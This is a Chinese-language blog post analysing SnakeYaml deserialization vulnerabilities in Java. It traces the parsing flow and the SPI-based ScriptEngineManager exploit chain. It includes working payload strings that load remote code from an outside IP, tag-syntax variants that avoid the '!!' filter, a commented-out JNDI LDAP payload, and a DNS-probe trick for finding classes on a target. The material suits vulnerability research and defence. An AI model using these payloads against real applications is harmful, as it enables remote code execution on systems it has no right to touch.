Java SnakeYaml反序列化漏洞

前言:

java的反序列化漏洞多样,有原生的反序列化,也有XMLDecoder反序列化,今天来分析一下SnakeYaml反序列化;

正文:

YAML是”YAML Ain’t a Markup Language”;它并不是一种标记语言,而是用来表示序列化的一种格式;类似于XML但比XML更简洁。在java中自然有对应的库对其进行解析,SnakeYaml;支持对象的序列化和反序列化;常见的利用javax.script.ScriptEngineManager的利用链是基于SPI机制进行实现的;

SPI机制:

spi机制通俗一点来讲就是为相关接口提供动态实现类的机制;使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全限定类名。又有点类似于thinkphp6中最开始实现new App这个类(继承container容器)的时候会在构造器里进行provider文件里相关映射的载入,载入之后和container进行绑定;控制反转(IOC)的思想,进行调用的时候都是触发get魔术方法然后去bind里进行相关映射的实例化然后绑定到instances数组里(和container绑定);这一切都是container处理的;说的多了,回归正题;

先来写一段程序看一下yaml的处理流程;

qGnpng.png

不难理解,setter是最开始我们自己调用的;在序列化的时候调用javaBean的getter操作,如果相关class的属性本就public,则没必要;snakeYaml可直接拿到相关的属性;反序列化先调用构造器,然后调用setter进行赋值;如果属性为public,则也不会调用setter;

可以追溯一下流程分析一下:

调用load方法进行相关的加载;采用StreamReader封装之后调用loadFromReader进行处理;Object.class意味着转化结果为一个object对象;

qGMs81.png

接着跟进去loadFromReader函数;

qGl9FH.png

在ParserImpl中对sreader做了相关的处理映射;追进去看一下;利用重载拿到相关映射;

qGlxcq.png

qGMG3q.png

在getSingleData中完成相应的转换,转换成Node节点类型:

qG3rdO.png

跟进getNode看一波

qG836I.png

在composeNode里完成相关的节点转换;

qG8c7T.png

在composeNode中继续跟进看一下具体原理;composer.class下:

qG8xgA.png

从这个调用点一路追踪下去就可以看到整体的调换过程;具体的就不细贴了;

最后触发是在ParserImpl.class下进行相关的替换,将!!替换成为tag;然后进行拼接,形成新的tag;如下图:(node就是User)

qGwDgS.png

qG0EPP.png

上面这个看的更加明显;已经在此发生了替换;

一番调用和解析之后回到getSingleNode函数:

qGBRpV.png

转化为Node节点类型之后返回;看一下节点的存储效果;

qGBO1K.png

返回到getSingleData函数:先判断node和tag是否为空;若不是则进入后续判断yaml格式数据的类型是否为Object类型;然后再判断tag是否为空,都不满足进入后续的流程;

qGsXcV.png

继续跟着调试;

进入到getClassForNode函数,先根据node中的tag拿到相关的classname。然后调用getClassForName拿到相关的class对象;

qG60de.png

进入getClassForName函数中看一下:

qGgF9s.png

可以发现是直接Class.forName直接加载并且初始化类形成class对像;

接着追溯发现是调用newInstance对相关的class进行实例化操作;拿到User实例;

qGgjPJ.png

然后跟着程序来到constructJavaBean2ndStep函数中;

qG2ri4.png

在经过flattenMapping函数之时,触发对class的内省操作,拿到class中的相关的属性以及其数量;后续调用getValue函数对Node节点进行处理,拿到相关的值;如下图:

qGRFO0.png

接着就开始对这两个节点开始循环处理,不用想此处就是赋值的操作了;

qGRGTO.png

在while中循环进行处理,会先判断相关属性是否可写;

qGRxnx.png

如果可写则进入后续的流程:

qGWM4g.png

采用反射进行最后的处理赋值;这个点的原理就是调用相关的setter了;看下图:

qGW48H.png

最后就可进行属性的赋值;另一个属性也是这样的原理,也是最后触发setter对其进行赋值;最后实例化结束return回去对象;

qGfus1.png

漏洞利用:

分析完基本的反序列化情况,就来看一下相关漏洞利用点;因为SnakeYaml支持反序列化Java对象(上面已经分析过),所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

进行调试:

qGHd5q.png

正常的拿到了ScriptEngineManager;后续对ClassLoader以及URL进行实例化之后传入ScriptEngineManager的构造器;直接追溯到ScriptEngineManager看一波:

qGbKL4.png

触发init方法;追过去;

qGbrFI.png

可以看到实例化了ServiceLoader,这里就触发了SPI机制;继续深入一波:

qGqeAA.png

在getServiceLoader函数中利用;跟下去

qGqoHH.png

进入LazyIterator实例中进行处理;

qGLJKO.png

最终在LazyIterator实例的hasNextService方法中进行加载;这里调用urlclasslaoder会先进行本地的加载;具体可以看如下图:

qJvKDf.png

先进行本地的spi机制的加载,按照相关的机制规则在本地寻找相关的class实现;

qJv5Ie.png

可以看下面几张图:

qJxref.png

这个是我最开始测试的时候将vps的jar包下载到本地之后进行导入;导入之后这里也会被进行相关的加载,所以可以很显然的看到是进行本地的一些spi机制的处理,这是因为java的双亲委派机制,会导致先使用parent classlaoder进行加载,先将本地处理完之后再去处理远程的加载;可以如此处理的原因是程序中写了while;会一直进行相关机制的加载,直到进行完为止;进行远程也是因为我们之前设置了urlclasslaoder的path为远程路径;

可以看到根据spi机制去拿到相关的class,然后后续会进行实例化操作从而触发恶意命令;

qJzifH.png

qJz1pj.png

这是先进行本地的相关机制实现,然后就是处理我们构造的恶意数据从而进行远程的spi机制实现;

qYSSvn.png

不难发现,已经去远程加载相关的jar包下的路径;这里用jar进行封装可以看下图:

qYSZ8J.png

可以看到处理的是一个jarLoader,对相关的内容进行请求加载;

qYSRrq.png

可以看到也是拿到相关文件内部的实现类;后续就是利用Class.forName和newInstance了;就会触发恶意命令造成rce;

当然不采用jar进行封装也是可以的;要满足相应的目录如下所示:

qYC35T.png

如此才可触发相应的spi加载识别;最后触发rce;

其实分析到这里,可以看到snakeyaml的反序列化调用方式和fastjson的十分相似,所以经常将两者放在一起进行分析;那么fastjson的一些利用链条就可以尝试进行snakeyaml的反序列化调用;

qYiWUP.png

一个经典的链条也可直接进行触发;

小trick的补充

通过上面的分析,我们可以很清晰的看到他的相关调用流程和fastjson的十分相似;但是有一点不同的是fastjson会根据属性的getOnly特性来进行调用getter进行处理,然而snakeyaml不会有这个特性,所以也注定一些调用方式snakeyaml无法调用但是fastjson可以调用,就比如TemplatesImpl这个class的调用链;最后是靠着getter启动触发的;

除上述的之外,可以看到追过snakeyaml之后可以很显然的发现,!!的功能和@type有点类似,用于指定要反序列化的全类名。

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]

这条 POC 都是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。其实不然,通过上述的分析可以很清晰的看到程序会先将!!转换为tag,然后将String字符串转换为Node节点;最后的处理是根据Node节点来进行解析的;所以基本想法是如果可以找到一个可替代!!的东西,在生成Node的时候也可以替换成相关的Node;那么也就可以不采用!!的情况下进行反序列化攻击;贴一下相关的tag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");

每一种对应的类型都会有其相关的tag;对于我们上述最开始的User反序列化过程来看,User类型转换成Node之后就是

1
tag:yaml.org,2002:User

String转化之后就为

qYYX8S.png

可以看清楚都是是转化为了keyNode和valueNode,方便之后的遍历处理;转回正题,看一下官网上的描述:

qYtzRO.png

可以看到还有两种写法;就是!加上<的方式;先来测试一下string类型的;另一种稍后说;

qYNsFx.png

可以很清晰的看到已经成功的转化;那么后续的就很简单了。不过要说明一个问题,这种方法调用的时候需要被反序列化类有一个单参数构造器;这个十分的必要;举个例子如下:如果User里没有单参数构造器;则会抛出如此的错误:

qYdFeJ.png

加上一个参数构造器;

qYd3TA.png

qYd0mQ.png

所以依葫芦画瓢:

1
2
3
4
5
6
7
8
9
String new_test = "!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
"[!<tag:yaml.org,2002:java.net.URLClassLoader> " +
"[[!<tag:yaml.org,2002:java.net.URL> " +
"[http://120.53.29.60:9900/]]]]";
//"{!<tag:yaml.org,2002:str> dataSourceName: ldap://120.53.29.60:1389/skgw2z, !<tag:yaml.org,2002:bool> autoCommit: true}";


Object obj = yaml.load(new_test);
System.out.println(obj);

也可直接触发;

来说另一种写法,类似于提前声明一样;

qY6bOP.png

这种要求也是需要有有参构造器;不过这里可以传入[]进行参数的赋值;所以无论几个参数都是可以的;所以照样依葫芦画瓢;

1
2
3
4
5
String attack = "%TAG ! tag:yaml.org,2002:\n" +
"---\n" +
"!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [\"http://120.53.29.60:9900/\"]]]]";
Object obj = yaml.load(attack);
System.out.println(obj);

所以依然可以造成攻击:

qYca6I.png

另一个有意思的trick补充

之前在看星球,发现有个师傅提了一个很有意思的trick;想必师傅们都知道在jndi高版本的利用下,可以采用处理MLet进行loadCLass的载入,从而结合addURL进行相关的对外访问请求,这里援引相关的思路,在snakeYaml里进行相关的处理;

最开始的一个有意思的点是我想到了urldns的一个利用点,发生在hashCode;对key进行相关的计算,因为彩虹表太大,所以存储的时候不可能直接全部存储,所以要进行外部的hashCode;那么利用这个点;

一步一步来;

qwHfLq.png

可以看到一个解析类里实现了对map的解析情况,如果存在key,就会直接将key进行hashcode操作;那么就可以传入一个URL实例,触发其下的hashCode方法然后调用其handler的Hashcode方法从而去实现InetAdress的getbyname的解析;

思路有了,现在就是实现的问题;因为看到是处理map的;所以直接生成一个map看看格式;

qwbk6A.png

可以看到生成的格式如最下一行,那么思路有了;构造key为URL实例,传入看看效果;

1
2
String s1mple_exp = "{!!java.net.URL [\"http://twph4b.dnslog.cn\"]: 1}";
Object obj = yaml.load(s1mple_exp);

追一下流程;

qwbQpQ.png

发现这确实进入了相关的调用逻辑;

qwb16s.png

追进来看了下,很熟悉有没有;是不是看到了urldns的影子?

qwbNkT.png

到这里就不用过多解释了;已经可以进行访问解析了;那么至此一个外部访问的效果已经达成,那么如何对内部的class做检测呢?我们的目标可是实现相关的内部敏感类的检测;其实分析过一些“案例”的师傅不难理解,直接可以再其前面加载一个class;如果存在则程序正常执行触发urldns;否则就会抛出错误不会触发urldns;这是一个常规的方法;

qwbRhD.png

qwbTBt.png

两张图对比一下应该很清晰了;这里对class的实例化操作最好采用{};而不要用[];因为很简单的原理,两者采用的获取构造器的方式不一样,这个可以自行跟一下就可,不是很难理解,但使用{}的前提是,相关的class里需要有无参构造器;否则还是需要采用[]进行赋参数值才可成功实例化;